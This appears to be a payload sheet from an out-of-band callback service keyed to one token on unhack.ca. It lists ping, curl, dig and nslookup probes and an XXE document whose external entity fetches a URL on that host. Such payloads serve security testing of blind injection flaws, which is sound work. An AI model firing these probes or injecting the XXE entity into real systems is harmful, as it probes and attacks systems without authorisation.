$ ping -c1 -p 006fa459a26e19f458aef1e61cd98300 unhack.ca
 

$ curl http://unhack.ca/p/6fa459a26e19f458aef1e61cd983
 

$ dig 6fa459a26e19f458aef1e61cd983 @unhack.ca
 

$ dig 6fa459a26e19f458aef1e61cd983.ns.unhack.ca
 

C:\> nslookup 6fa459a26e19f458aef1e61cd983 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6fa459a26e19f458aef1e61cd983">]>
    <foo>&xxe;</foo>